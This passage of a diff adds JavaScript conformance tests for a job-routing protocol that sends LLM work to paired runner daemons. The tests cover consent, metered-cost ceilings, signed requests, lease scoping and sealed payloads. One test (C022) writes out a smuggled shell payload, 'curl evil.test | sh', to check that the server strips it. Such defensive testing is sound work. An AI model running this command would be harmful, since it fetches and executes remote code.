+ payload: prompt("step two"),
972
+ owner: "alice",
973
+ audience: "self",
974
+ dependsOn: [first.id]
975
+ });
976
+ await alice.runner.tick();
977
+ await sleep(80);
978
+ assert(
979
+ alice.backend.seen.length === 0,
980
+ "a dependent job ran before its dependency completed"
981
+ );
982
+ assert(
983
+ (await target.job(second.id))?.state === "queued",
984
+ "a dependent job left the queue early"
985
+ );
986
+ await bob.runner.tick();
987
+ await waitFor(
988
+ async () => (await target.job(first.id))?.state === "ok",
989
+ { what: "the dependency to complete" }
990
+ );
991
+ await alice.runner.tick();
992
+ await waitFor(
993
+ async () => (await target.job(second.id))?.state === "ok",
994
+ { what: "the dependent job to complete" }
995
+ );
996
+ } finally {
997
+ await alice.dispose();
998
+ await bob.dispose();
999
+ }
1000
+ }
1001
+ },
1002
+ {
1003
+ id: "C012_TTL_AND_NO_RUNNER",
1004
+ title: "an unclaimed job expires and no-runner is surfaced, but not while blocked",
1005
+ musts: ["TTL_EXPIRY", "NO_RUNNER_SIGNAL"],
1006
+ async run(target) {
1007
+ const availability = await target.runnerAvailability({
1008
+ kind: "llm.generate",
1009
+ owner: "alice"
1010
+ });
1011
+ assert(
1012
+ !availability.available,
1013
+ "no-runner was not surfaced with nothing paired"
1014
+ );
1015
+ const job = await target.enqueue({
1016
+ kind: "llm.generate",
1017
+ payload: prompt("nobody will run this"),
1018
+ owner: "alice",
1019
+ ttlMs: target.ttlMs
1020
+ });
1021
+ await advance(target, target.ttlMs + 500);
1022
+ const state = await target.job(job.id);
1023
+ assert(
1024
+ state?.state === "expired",
1025
+ `an unclaimed job past its TTL was "${String(state?.state)}", not expired`
1026
+ );
1027
+ }
1028
+ },
1029
+ {
1030
+ id: "C013_TTL_CLOCK_STARTS_WHEN_CLAIMABLE",
1031
+ title: "a dependent job's TTL starts when it becomes claimable, not at enqueue",
1032
+ musts: ["TTL_EXPIRY"],
1033
+ async run(target) {
1034
+ const daemon = await pairDaemon(target, { owner: "alice" });
1035
+ try {
1036
+ daemon.backend.hangMs = target.ttlMs * 2;
1037
+ const first = await target.enqueue({
1038
+ kind: "llm.generate",
1039
+ payload: prompt("slow step"),
1040
+ owner: "alice"
1041
+ });
1042
+ const second = await target.enqueue({
1043
+ kind: "llm.generate",
1044
+ payload: prompt("waiting step"),
1045
+ owner: "alice",
1046
+ dependsOn: [first.id],
1047
+ ttlMs: target.ttlMs
1048
+ });
1049
+ await daemon.runner.tick();
1050
+ await advance(target, target.ttlMs + 200);
1051
+ const blocked = await target.job(second.id);
1052
+ assert(
1053
+ blocked?.state === "queued",
1054
+ `a blocked job expired while waiting on its dependency (state: ${String(blocked?.state)}) \u2014 the TTL clock started too early`
1055
+ );
1056
+ } finally {
1057
+ await daemon.dispose();
1058
+ }
1059
+ }
1060
+ },
1061
+ {
1062
+ id: "C014_RESULT_PROVENANCE",
1063
+ title: "a community result arrives marked untrusted, a self result does not",
1064
+ // `PROVENANCE_NAMES_DEVICE` supersedes `RESULT_PROVENANCE` — a
1065
+ // strengthening rather than a rename. C030 is the other half: a label
1066
+ // means nothing unless a result whose signature does not verify against
1067
+ // the granted device is refused rather than recorded.
1068
+ musts: ["PROVENANCE_NAMES_DEVICE"],
1069
+ async run(target) {
1070
+ const bob = await pairDaemon(target, { owner: "bob", offer: "public" });
1071
+ try {
1072
+ const community = await target.enqueue({
1073
+ kind: "llm.generate",
1074
+ payload: prompt("run this anywhere"),
1075
+ owner: "alice",
1076
+ audience: "public"
1077
+ });
1078
+ await bob.runner.tick();
1079
+ await waitFor(
1080
+ async () => (await target.job(community.id))?.state === "ok",
1081
+ { what: "the community job to complete" }
1082
+ );
1083
+ const delivered = await target.job(community.id);
1084
+ assert(
1085
+ delivered?.provenance?.untrusted === true,
1086
+ "a public result was not marked untrusted"
1087
+ );
1088
+ assert(
1089
+ delivered.provenance.runnerOwner === "bob",
1090
+ "the result did not carry the runner's owner"
1091
+ );
1092
+ const own = await target.enqueue({
1093
+ kind: "llm.generate",
1094
+ payload: prompt("my own"),
1095
+ owner: "bob",
1096
+ audience: "self"
1097
+ });
1098
+ await bob.runner.tick();
1099
+ await waitFor(async () => (await target.job(own.id))?.state === "ok", {
1100
+ what: "the self job to complete"
1101
+ });
1102
+ assert(
1103
+ (await target.job(own.id))?.provenance?.untrusted === false,
1104
+ "a self result was marked untrusted"
1105
+ );
1106
+ } finally {
1107
+ await bob.dispose();
1108
+ }
1109
+ }
1110
+ },
1111
+ {
1112
+ id: "C015_INGRESS_BEFORE_EXECUTION",
1113
+ title: "every executed prompt is in the ingress log before it runs",
1114
+ musts: ["INGRESS_LOGGED_BEFORE_EXECUTION"],
1115
+ async run(target) {
1116
+ const daemon = await pairDaemon(target, { owner: "alice" });
1117
+ let ticking = Promise.resolve();
1118
+ try {
1119
+ daemon.backend.hangMs = 3e4;
1120
+ const job = await target.enqueue({
1121
+ kind: "llm.generate",
1122
+ payload: prompt("logged prompt"),
1123
+ owner: "alice"
1124
+ });
1125
+ ticking = daemon.runner.tick().catch(() => void 0);
1126
+ await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {
1127
+ what: "the backend to be called"
1128
+ });
1129
+ const during = await daemon.ingress.read();
1130
+ const logged = during.find(
1131
+ (entry) => entry.type === "prompt" && entry.jobId === job.id
1132
+ );
1133
+ assert(
1134
+ logged !== void 0,
1135
+ "a prompt reached the backend before it reached the ingress log"
1136
+ );
1137
+ assert(
1138
+ logged.type === "prompt" && logged.prompt === "logged prompt",
1139
+ "the ingress log did not record the prompt text"
1140
+ );
1141
+ } finally {
1142
+ await daemon.dispose();
1143
+ await ticking;
1144
+ }
1145
+ }
1146
+ },
1147
+ {
1148
+ id: "C016_UNAUTHENTICATED_REFUSED",
1149
+ title: "the protocol endpoints refuse an unknown token",
1150
+ // `CONSENT_BEFORE_ROUTE` on this plane. A relay has a consent record; a
1151
+ // direct site has pairing, and it is the same obligation — an upstream
1152
+ // routes to a device it has a record binding, and there is no discovery
1153
+ // path by which an unbound device receives work. Every endpoint is
1154
+ // checked rather than just `claim`, which is what makes it the absence
1155
+ // of a path rather than the absence of one door.
1156
+ musts: ["PAIR_ONE_USER", "CONSENT_BEFORE_ROUTE"],
1157
+ async run(target) {
1158
+ for (const endpoint of ["claim", "heartbeat", "result", "release"]) {
1159
+ const response = await target.fetch(
1160
+ new Request(`${target.origin}/byollm/${endpoint}`, {
1161
+ method: "POST",
1162
+ headers: {
1163
+ "content-type": "application/json",
1164
+ authorization: "Bearer definitely-not-a-real-token"
1165
+ },
1166
+ body: JSON.stringify({ protocolVersion: "0" })
1167
+ })
1168
+ );
1169
+ assert(
1170
+ response.status === 401,
1171
+ `${endpoint} answered ${String(response.status)} to an unknown token, not 401`
1172
+ );
1173
+ }
1174
+ }
1175
+ },
1176
+ {
1177
+ id: "C017_METERED_DEFAULTS_SELF",
1178
+ title: "a paid backend is not shared until its owner says so, with a ceiling",
1179
+ // `EFFECTIVE_OFFER_ONLY` too: bob asks for `public`, what reaches the
1180
+ // server is `self`, and the server acts on what it was told rather than
1181
+ // on what was wanted. That *is* the effective-offer rule, proved here
1182
+ // without being named.
1183
+ musts: [
1184
+ "METERED_DEFAULTS_SELF",
1185
+ "COST_NOT_CONFIGURABLE",
1186
+ "EFFECTIVE_OFFER_ONLY"
1187
+ ],
1188
+ async run(target) {
1189
+ const bob = await pairDaemon(target, {
1190
+ owner: "bob",
1191
+ offer: "public",
1192
+ // Pointed at localhost — which changes nothing, because a named
1193
+ // provider's cost comes from the registry, not from an address
1194
+ // ({@link MUSTS.COST_NOT_CONFIGURABLE}).
1195
+ metered: { provider: "openai", baseUrl: "http://127.0.0.1:11434/v1" }
1196
+ });
1197
+ try {
1198
+ assert(
1199
+ bob.loaded.routes.every((route) => route.offerScope === "self"),
1200
+ "a metered backend was advertised beyond its owner without consent"
1201
+ );
1202
+ assert(
1203
+ bob.loaded.routes.every((route) => route.cost === "metered"),
1204
+ "a metered provider was read as free because of its base URL"
1205
+ );
1206
+ await bob.allowlist.add(
1207
+ { origin: target.origin, owner: await ownerIdFor(target, "alice") },
1208
+ Date.now()
1209
+ );
1210
+ const job = await target.enqueue({
1211
+ kind: "llm.generate",
1212
+ payload: prompt("spend someone else's money"),
1213
+ owner: "alice",
1214
+ audience: "public"
1215
+ });
1216
+ await bob.runner.tick();
1217
+ await sleep(80);
1218
+ const state = await target.job(job.id);
1219
+ assert(
1220
+ state?.state !== "ok",
1221
+ "a stranger's job ran on a paid backend nobody agreed to share"
1222
+ );
1223
+ assert(
1224
+ bob.backend.seen.length === 0,
1225
+ "a stranger's prompt reached a paid backend"
1226
+ );
1227
+ const availability = await target.runnerAvailability({
1228
+ kind: "llm.generate",
1229
+ owner: "alice",
1230
+ audience: "public"
1231
+ });
1232
+ assert(
1233
+ !availability.available,
1234
+ "the server offered a runner that will not take the work"
1235
+ );
1236
+ const own = await target.enqueue({
1237
+ kind: "llm.generate",
1238
+ payload: prompt("my own work"),
1239
+ owner: "bob",
1240
+ audience: "self"
1241
+ });
1242
+ await bob.runner.tick();
1243
+ await waitFor(async () => (await target.job(own.id))?.state === "ok", {
1244
+ what: "the owner's own metered job to run"
1245
+ });
1246
+ } finally {
1247
+ await bob.dispose();
1248
+ }
1249
+ }
1250
+ },
1251
+ {
1252
+ id: "C018_METERED_CEILING",
1253
+ title: "a shared paid backend runs others' work, and stops at its ceiling",
1254
+ musts: ["METERED_REQUIRES_CEILING", "REMOTE_IS_NEVER_FREE"],
1255
+ async run(target) {
1256
+ const bob = await pairDaemon(target, {
1257
+ owner: "bob",
1258
+ offer: "public",
1259
+ metered: {
1260
+ // The generic backend pointed at a remote address. No registry entry
1261
+ // says what this costs; it is metered because of where it goes
1262
+ // ({@link MUSTS.REMOTE_IS_NEVER_FREE}).
1263
+ provider: "openai-http",
1264
+ baseUrl: "https://models.example.com/v1",
1265
+ acknowledged: true,
1266
+ dailyCapCents: 500
1267
+ }
1268
+ });
1269
+ try {
1270
+ assert(
1271
+ bob.loaded.routes.every((route) => route.cost === "metered"),
1272
+ "a remote backend was treated as free"
1273
+ );
1274
+ assert(
1275
+ bob.loaded.routes.every((route) => route.offerScope === "public"),
1276
+ "a deliberately shared metered backend was narrowed anyway"
1277
+ );
1278
+ await bob.allowlist.add(
1279
+ { origin: target.origin, owner: await ownerIdFor(target, "alice") },
1280
+ Date.now()
1281
+ );
1282
+ const first = await target.enqueue({
1283
+ kind: "llm.generate",
1284
+ payload: prompt("work bob agreed to pay for"),
1285
+ owner: "alice",
1286
+ audience: "public"
1287
+ });
1288
+ await bob.runner.tick();
1289
+ await waitFor(
1290
+ async () => (await target.job(first.id))?.state === "ok",
1291
+ { what: "a consented metered job to run" }
1292
+ );
1293
+ await bob.spend.record("primary", 900, Date.now());
1294
+ const second = await target.enqueue({
1295
+ kind: "llm.generate",
1296
+ payload: prompt("work past the ceiling"),
1297
+ owner: "alice",
1298
+ audience: "public"
1299
+ });
1300
+ const seenBefore = bob.backend.seen.length;
1301
+ await bob.runner.tick();
1302
+ await sleep(80);
1303
+ const state = await target.job(second.id);
1304
+ assert(
1305
+ state?.state !== "ok",
1306
+ "a paid backend kept working past the ceiling its owner set"
1307
+ );
1308
+ assert(
1309
+ bob.backend.seen.length === seenBefore,
1310
+ "a prompt reached a paid backend that had spent its ceiling"
1311
+ );
1312
+ const own = await target.enqueue({
1313
+ kind: "llm.generate",
1314
+ payload: prompt("my own work, my own key"),
1315
+ owner: "bob",
1316
+ audience: "self"
1317
+ });
1318
+ await bob.runner.tick();
1319
+ await waitFor(async () => (await target.job(own.id))?.state === "ok", {
1320
+ what: "the owner's own job to run past the community ceiling"
1321
+ });
1322
+ } finally {
1323
+ await bob.dispose();
1324
+ }
1325
+ }
1326
+ },
1327
+ {
1328
+ id: "C019_CLAIM_ATOMIC",
1329
+ title: "two runners racing one job \u2014 exactly one gets it",
1330
+ musts: ["CLAIM_ATOMIC"],
1331
+ async run(target) {
1332
+ const a = await pairDaemon(target, { owner: "alice", label: "laptop" });
1333
+ const b = await pairDaemon(target, { owner: "alice", label: "desktop" });
1334
+ try {
1335
+ const job = await target.enqueue({
1336
+ kind: "llm.generate",
1337
+ payload: prompt("only once, please"),
1338
+ owner: "alice",
1339
+ audience: "self"
1340
+ });
1341
+ await Promise.all([a.runner.tick(), b.runner.tick()]);
1342
+ await waitFor(async () => (await target.job(job.id))?.state === "ok", {
1343
+ what: "the contested job to finish"
1344
+ });
1345
+ const ran = a.backend.seen.length + b.backend.seen.length;
1346
+ assert(
1347
+ ran === 1,
1348
+ `the job ran ${String(ran)} times across two runners, not once`
1349
+ );
1350
+ } finally {
1351
+ await a.dispose();
1352
+ await b.dispose();
1353
+ }
1354
+ }
1355
+ },
1356
+ {
1357
+ id: "C020_PAIR_CODE_EXPIRES",
1358
+ title: "an expired device code cannot be redeemed",
1359
+ musts: ["PAIR_CODE_EXPIRES"],
1360
+ async run(target) {
1361
+ const started = await target.fetch(
1362
+ new Request(`${target.origin}/byollm/pair`, {
1363
+ method: "POST",
1364
+ headers: { "content-type": "application/json" },
1365
+ body: JSON.stringify({
1366
+ protocolVersion: PROTOCOL_VERSION2,
1367
+ action: "start",
1368
+ device: publicIdentityOf2(generateKeys(Date.now())),
1369
+ daemon: {
1370
+ version: "conformance",
1371
+ label: "expiring-daemon",
1372
+ platform: "linux"
1373
+ },
1374
+ capabilities: []
1375
+ })
1376
+ })
1377
+ );
1378
+ assert(started.status === 200, "pair start did not answer 200");
1379
+ const pairing = await started.json();
1380
+ await advance(target, pairing.expiresAt - Date.now() + 1e3);
1381
+ let approved = true;
1382
+ try {
1383
+ await target.approvePairing(pairing.userCode, "alice");
1384
+ } catch {
1385
+ approved = false;
1386
+ }
1387
+ const polled = await target.fetch(
1388
+ new Request(`${target.origin}/byollm/pair`, {
1389
+ method: "POST",
1390
+ headers: { "content-type": "application/json" },
1391
+ body: JSON.stringify({
1392
+ protocolVersion: PROTOCOL_VERSION2,
1393
+ action: "poll",
1394
+ deviceCode: pairing.deviceCode
1395
+ })
1396
+ })
1397
+ );
1398
+ const status = polled.status === 200 ? (await polled.json()).status : "rejected";
1399
+ assert(
1400
+ !approved || status !== "approved",
1401
+ "an expired device code still paired a runner"
1402
+ );
1403
+ assert(
1404
+ status === "expired" || status === "denied" || status === "rejected",
1405
+ `polling an expired code answered "${status}"`
1406
+ );
1407
+ }
1408
+ },
1409
+ {
1410
+ id: "C021_CAPABILITY_IS_DETECTED",
1411
+ title: "a runner advertises only what is installed and healthy",
1412
+ musts: ["CAPABILITY_IS_DETECTED"],
1413
+ async run(target) {
1414
+ const daemon = await pairDaemon(target, { owner: "alice" });
1415
+ try {
1416
+ daemon.backend.healthy = false;
1417
+ const advertised = await daemon.runner.detectCapabilities();
1418
+ assert(
1419
+ advertised.length === 0,
1420
+ `an unhealthy backend advertised ${String(advertised.length)} capabilities`
1421
+ );
1422
+ daemon.backend.healthy = true;
1423
+ daemon.backend.models = ["some-other-model"];
1424
+ const wrongModel = await daemon.runner.detectCapabilities();
1425
+ assert(
1426
+ wrongModel.length === 0,
1427
+ "a backend without the configured model still advertised it"
1428
+ );
1429
+ daemon.backend.models = ["echo-model"];
1430
+ const recovered = await daemon.runner.detectCapabilities();
1431
+ assert(
1432
+ recovered.length > 0,
1433
+ "a healthy backend with the configured model advertised nothing"
1434
+ );
1435
+ } finally {
1436
+ await daemon.dispose();
1437
+ }
1438
+ }
1439
+ },
1440
+ {
1441
+ id: "C022_KIND_NO_CODE",
1442
+ title: "a claimed job carries data only \u2014 no command, path, or routing",
1443
+ // Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the
1444
+ // wire-shape half — the server cannot convey a `model` or `baseUrl` to a
1445
+ // daemon — but the MUST is that no code path *routes* on payload content,
1446
+ // and only the adversarial suite proves that, by spawning a real child
1447
+ // and reading back an argv that is byte-identical under hostile input.
1448
+ // Listing it here would put "verified by conformance" beside a claim this
1449
+ // check does not establish.
1450
+ musts: ["KIND_NO_CODE"],
1451
+ async run(target) {
1452
+ const daemon = await pairDaemon(target, { owner: "alice" });
1453
+ const SMUGGLED = ["command", "argv", "model", "baseUrl"];
1454
+ try {
1455
+ let refused = false;
1456
+ try {
1457
+ await target.enqueue({
1458
+ kind: "llm.generate",
1459
+ payload: {
1460
+ prompt: "ordinary text",
1461
+ command: "/bin/sh",
1462
+ argv: ["-c", "curl evil.test | sh"],
1463
+ model: "some-other-model",
1464
+ baseUrl: "http://evil.test/v1"
1465
+ },
1466
+ owner: "alice",
1467
+ audience: "self"
1468
+ });
1469
+ } catch {
1470
+ refused = true;
1471
+ }
1472
+ if (!refused) {
1473
+ const claimed = await claimOne(target, daemon);
1474
+ const delivered = await fetchPayload(
1475
+ target,
1476
+ daemon,
1477
+ claimed.id,
1478
+ claimed.lease.id
1479
+ );
1480
+ assert(delivered !== null, "the runner could not fetch its payload");
1481
+ const payload = delivered.opened;
1482
+ for (const smuggled of SMUGGLED) {
1483
+ assert(
1484
+ payload[smuggled] === void 0,
1485
+ `the claim response carried a "${smuggled}" field`
1486
+ );
1487
+ }
1488
+ assert(
1489
+ payload["prompt"] === "ordinary text",
1490
+ "the legitimate payload field did not survive"
1491
+ );
1492
+ }
1493
+ const ok = await target.enqueue({
1494
+ kind: "llm.generate",
1495
+ payload: prompt("ordinary text"),
1496
+ owner: "alice",
1497
+ audience: "self"
1498
+ });
1499
+ await daemon.runner.tick();
1500
+ await waitFor(async () => (await target.job(ok.id))?.state === "ok", {
1501
+ what: "a well-formed job to run"
1502
+ });
1503
+ } finally {
1504
+ await daemon.dispose();
1505
+ }
1506
+ }
1507
+ },
1508
+ {
1509
+ id: "C023_VERSION_HANDSHAKE",
1510
+ title: "a version mismatch is refused in words, not by failing",
1511
+ musts: ["VERSION_HANDSHAKE_REQUIRED"],
1512
+ async run(target) {
1513
+ const post = (body) => target.fetch(
1514
+ new Request(`${target.origin}/byollm/claim`, {
1515
+ method: "POST",
1516
+ headers: {
1517
+ "content-type": "application/json",
1518
+ authorization: "Bearer whatever"
1519
+ },
1520
+ body: JSON.stringify(body)
1521
+ })
1522
+ );
1523
+ for (const [label, body] of [
1524
+ ["a version from the future", { protocolVersion: "99", max: 1 }],
1525
+ ["no version at all", { max: 1 }],
1526
+ ["a non-string version", { protocolVersion: 0, max: 1 }]
1527
+ ]) {
1528
+ const response = await post(body);
1529
+ const parsed = await response.json();
1530
+ assert(
1531
+ parsed.error === "unsupported-protocol-version",
1532
+ `${label}: answered "${parsed.error ?? "nothing"}" rather than unsupported-protocol-version`
1533
+ );
1534
+ assert(
1535
+ Array.isArray(parsed.supported) && parsed.supported.length > 0,
1536
+ `${label}: the refusal did not say what the server supports`
1537
+ );
1538
+ assert(
1539
+ (parsed.message ?? "").length > 20,
1540
+ `${label}: the refusal carried no usable message`
1541
+ );
1542
+ }
1543
+ const authed = await post({ protocolVersion: PROTOCOL_VERSION2, max: 1 });
1544
+ assert(
1545
+ authed.status === 400 || authed.status === 401,
1546
+ `a supported version with a bad token answered ${String(authed.status)}`
1547
+ );
1548
+ }
1549
+ },
1550
+ {
1551
+ id: "C024_KEY_EXCHANGE",
1552
+ title: "pairing exchanges identities, verifies them, and reveals nothing early",
1553
+ musts: ["KEYS_EXCHANGED_AT_CONSENT"],
1554
+ async run(target) {
1555
+ const start = async (device) => target.fetch(
1556
+ new Request(`${target.origin}/byollm/pair`, {
1557
+ method: "POST",
1558
+ headers: { "content-type": "application/json" },
1559
+ body: JSON.stringify({
1560
+ protocolVersion: PROTOCOL_VERSION2,
1561
+ action: "start",
1562
+ daemon: {
1563
+ version: "conformance",
1564
+ label: "key-exchange",
1565
+ platform: "linux"
1566
+ },
1567
+ device,
1568
+ capabilities: []
1569
+ })
1570
+ })
1571
+ );
1572
+ const honest = publicIdentityOf2(generateKeys(Date.now()));
1573
+ const attacker = publicIdentityOf2(generateKeys(Date.now()));
1574
+ const forged = await start({
1575
+ ...honest,
1576
+ encryption: attacker.encryption
1577
+ });
1578
+ assert(
1579
+ forged.status >= 400,
1580
+ `a device with an unsigned encryption key paired anyway (${String(forged.status)})`
1581
+ );
1582
+ const started = await start(honest);
1583
+ assert(
1584
+ started.status === 200,
1585
+ "an honest device could not start pairing"
1586
+ );
1587
+ const pairing = await started.json();
1588
+ const poll = async () => {
1589
+ const response = await target.fetch(
1590
+ new Request(`${target.origin}/byollm/pair`, {
1591
+ method: "POST",
1592
+ headers: { "content-type": "application/json" },
1593
+ body: JSON.stringify({
1594
+ protocolVersion: PROTOCOL_VERSION2,
1595
+ action: "poll",
1596
+ deviceCode: pairing.deviceCode
1597
+ })
1598
+ })
1599
+ );
1600
+ return await response.json();
1601
+ };
1602
+ const pending = await poll();
1603
+ assert(
1604
+ pending["site"] === void 0,
1605
+ "a pending poll disclosed the site's keys before anyone approved"
1606
+ );
1607
+ await target.approvePairing(pairing.userCode, "alice");
1608
+ const approved = await poll();
1609
+ assert(
1610
+ approved["status"] === "approved",
1611
+ `poll after approval said "${String(approved["status"])}"`
1612
+ );
1613
+ const site = PublicIdentity.safeParse(approved["site"]);
1614
+ assert(site.success, "the approval carried no usable site identity");
1615
+ assert(
1616
+ verifyPublicIdentity(site.data),
1617
+ "the site's encryption key is not signed by the identity it presented"
1618
+ );
1619
+ }
1620
+ },
1621
+ {
1622
+ id: "C025_SIGNED_REQUESTS",
1623
+ title: "authentication is a signature over the request, not a secret",
1624
+ musts: ["REQUESTS_SIGNED_NOT_BEARER"],
1625
+ async run(target) {
1626
+ const daemon = await pairDaemon(target, { owner: "alice" });
1627
+ try {
1628
+ const body = JSON.stringify({
1629
+ protocolVersion: PROTOCOL_VERSION2,
1630
+ runnerId: daemon.runnerId,
1631
+ capabilities: await daemon.runner.detectCapabilities(),
1632
+ max: 1
1633
+ });
1634
+ const post = (headers) => target.fetch(
1635
+ new Request(`${target.origin}/byollm/claim`, {
1636
+ method: "POST",
1637
+ headers: { "content-type": "application/json", ...headers },
1638
+ body
1639
+ })
1640
+ );
1641
+ const sign = (over = {}) => signRequest2(daemon.keys, {
1642
+ endpoint: over.endpoint ?? "claim",
1643
+ runnerId: daemon.runnerId,
1644
+ issuedAt: Date.now(),
1645
+ body: over.body ?? body
1646
+ });
1647
+ const headersFor = (s) => ({
1648
+ "x-byollm-runner": s.runnerId,
1649
+ "x-byollm-issued-at": String(s.issuedAt),
1650
+ "x-byollm-signature": s.signature
1651
+ });
1652
+ assert(
1653
+ (await post(headersFor(sign()))).status === 200,
1654
+ "a correctly signed request was refused"
1655
+ );
1656
+ assert(
1657
+ (await post({})).status === 401,
1658
+ "an unsigned request was accepted"
1659
+ );
1660
+ assert(
1661
+ (await post(headersFor(sign({ body: '{"other":true}' })))).status === 401,
1662
+ "a signature over different bytes was accepted"
1663
+ );
1664
+ assert(
1665
+ (await post(headersFor(sign({ endpoint: "release" })))).status === 401,
1666
+ "a signature for another endpoint was accepted"
1667
+ );
1668
+ const stranger = signRequest2(generateKeys(Date.now()), {
1669
+ endpoint: "claim",
1670
+ runnerId: daemon.runnerId,
1671
+ issuedAt: Date.now(),
1672
+ body
1673
+ });
1674
+ assert(
1675
+ (await post(headersFor(stranger))).status === 401,
1676
+ "a signature from an unpinned key was accepted"
1677
+ );
1678
+ const stale = signRequest2(daemon.keys, {
1679
+ endpoint: "claim",
1680
+ runnerId: daemon.runnerId,
1681
+ issuedAt: Date.now() - 864e5,
1682
+ body
1683
+ });
1684
+ assert(
1685
+ (await post(headersFor(stale))).status === 401,
1686
+ "a signature from a day ago was accepted"
1687
+ );
1688
+ } finally {
1689
+ await daemon.dispose();
1690
+ }
1691
+ }
1692
+ },
1693
+ {
1694
+ id: "C026_LEASE_SCOPED_RELEASE",
1695
+ title: "a release acts on the lease it names, not whatever lease exists",
1696
+ musts: ["LEASE_SCOPED_BY_GRANT"],
1697
+ async run(target) {
1698
+ const daemon = await pairDaemon(target, { owner: "alice" });
1699
+ try {
1700
+ const job = await target.enqueue({
1701
+ kind: "llm.generate",
1702
+ payload: prompt("run me once"),
1703
+ owner: "alice",
1704
+ audience: "self"
1705
+ });
1706
+ const first = await claimOne(target, daemon);
1707
+ assert(
1708
+ typeof first.lease.id === "string" && first.lease.id.length > 0,
1709
+ "a claimed job arrived without a lease id \u2014 nothing can be scoped to it"
1710
+ );
1711
+ await releaseLease(target, daemon, job.id, first.lease.id);
1712
+ const second = await claimOne(target, daemon);
1713
+ assert(
1714
+ second.lease.id !== first.lease.id,
1715
+ "re-claiming the same job reused the lease id, so the two grants are indistinguishable"
1716
+ );
1717
+ await releaseLease(target, daemon, job.id, first.lease.id);
1718
+ const state = await target.job(job.id);
1719
+ assert(
1720
+ state?.state === "claimed" || state?.state === "running",
1721
+ `a replayed release returned the job to "${String(state?.state)}" while it was held`
1722
+ );
1723
+ await releaseLease(target, daemon, job.id, second.lease.id);
1724
+ assert(
1725
+ (await target.job(job.id))?.state === "queued",
1726
+ "releasing the current lease did not return the job to the queue"
1727
+ );
1728
+ } finally {
1729
+ await daemon.dispose();
1730
+ }
1731
+ }
1732
+ },
1733
+ {
1734
+ id: "C027_CLAIM_ANSWERS_WITH_STUBS",
1735
+ title: "a claim carries routing metadata and no work",
1736
+ musts: ["STUB_METADATA_EXHAUSTIVE"],
1737
+ async run(target) {
1738
+ const daemon = await pairDaemon(target, { owner: "alice" });
1739
+ try {
1740
+ await target.enqueue({
1741
+ kind: "llm.generate",
1742
+ payload: prompt("this must not appear in a claim response"),
1743
+ owner: "alice",
1744
+ audience: "self"
1745
+ });
1746
+ const stub = await claimOne(target, daemon);
1747
+ const asRecord = stub;
1748
+ assert(
1749
+ asRecord["payload"] === void 0,
1750
+ "the claim response carried the payload"
1751
+ );
1752
+ assert(
1753
+ !JSON.stringify(stub).includes("this must not appear"),
1754
+ "the prompt text appeared somewhere in the claim response"
1755
+ );
1756
+ const parsed = ClaimedStub.safeParse(stub);
1757
+ assert(
1758
+ parsed.success,
1759
+ `the claim response is not a valid stub: ${parsed.success ? "" : parsed.error.issues.map((i) => i.path.join(".")).join(", ")}`
1760
+ );
1761
+ assert(
1762
+ ["small", "medium", "large", "unbounded"].includes(
1763
+ String(asRecord["sizeClass"])
1764
+ ),
1765
+ `sizeClass was "${String(asRecord["sizeClass"])}"`
1766
+ );
1767
+ const fetched = await fetchPayload(
1768
+ target,
1769
+ daemon,
1770
+ stub.id,
1771
+ stub.lease.id
1772
+ );
1773
+ assert(fetched !== null, "the lease holder could not fetch its work");
1774
+ assert(
1775
+ !JSON.stringify(fetched.raw).includes("this must not appear"),
1776
+ "the payload crossed the wire in the clear"
1777
+ );
1778
+ assert(
1779
+ JSON.stringify(fetched.opened).includes("this must not appear"),
1780
+ "the runner holding the lease could not open its own work"
1781
+ );
1782
+ const wrong = await fetchPayload(
1783
+ target,
1784
+ daemon,
1785
+ stub.id,
1786
+ "lease-that-does-not-exist"
1787
+ );
1788
+ assert(
1789
+ wrong === null,
1790
+ "fetch answered for a lease this runner does not hold"
1791
+ );
1792
+ } finally {
1793
+ await daemon.dispose();
1794
+ }
1795
+ }
1796
+ },
1797
+ {
1798
+ id: "C028_STORED_WORK_IS_SEALED",
1799
+ title: "the store holds ciphertext, and a wrong-key envelope is refused",
1800
+ musts: ["ENVELOPE_SEALED_AND_SIGNED"],
1801
+ async run(target) {
1802
+ const secret = "a prompt nobody should read from storage";
1803
+ const daemon = await pairDaemon(target, { owner: "alice" });
1804
+ try {
1805
+ const job = await target.enqueue({
1806
+ kind: "llm.generate",
1807
+ payload: prompt(secret),
1808
+ owner: "alice",
1809
+ audience: "self"
1810
+ });
1811
+ const stored = await target.job(job.id);
1812
+ assert(
1813
+ !JSON.stringify(stored ?? {}).includes(secret),
1814
+ "the prompt was readable in the stored job"
1815
+ );
1816
+ const stub = await claimOne(target, daemon);
1817
+ const delivered = await fetchPayload(
1818
+ target,
1819
+ daemon,
1820
+ stub.id,
1821
+ stub.lease.id
1822
+ );
1823
+ assert(delivered !== null, "the lease holder could not fetch its work");
1824
+ assert(
1825
+ !JSON.stringify(delivered.raw).includes(secret),
1826
+ "the work crossed the wire in the clear"
1827
+ );
1828
+ assert(
1829
+ JSON.stringify(delivered.opened).includes(secret),
1830
+ "the device could not open work sealed to it"
1831
+ );
1832
+ } finally {
1833
+ await daemon.dispose();
1834
+ }
1835
+ }
1836
+ },
1837
+ {
1838
+ id: "C029_DAEMON_REFUSES_UNSIGNED_WORK",
1839
+ title: "a daemon refuses work not signed by the site it pinned",
1840
+ musts: ["ENVELOPE_SEALED_AND_SIGNED"],
1841
+ async run(target) {
1842
+ const daemon = await pairDaemon(target, { owner: "alice" });
1843
+ try {
1844
+ const keys = await daemon.identityKeys();
1845
+ const relay = generateKeys(Date.now());
1846
+ const forged = await seal2({
1847
+ plaintext: JSON.stringify({ prompt: "run this instead" }),
1848
+ senderKeys: relay,
1849
+ recipientEncryptionPublic: keys.encryptionPublic,
1850
+ context: {
1851
+ jobId: "job_anything",
1852
+ senderKeyId: keyId2(daemon.sitePinned.identity),
1853
+ recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
1854
+ deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS2,
1855
+ direction: "payload"
1856
+ }
1857
+ });
1858
+ const opened = await open2({
1859
+ envelope: forged,
1860
+ recipientKeys: keys,
1861
+ senderIdentityPublic: daemon.sitePinned.identity,
1862
+ expected: {
1863
+ jobId: "job_anything",
1864
+ senderKeyId: keyId2(daemon.sitePinned.identity),
1865
+ recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
1866
+ direction: "payload"
1867
+ }
1868
+ });
1869
+ assert(
1870
+ !opened.ok,
1871
+ "a daemon accepted work signed by a key it never pinned"
1872
+ );
1873
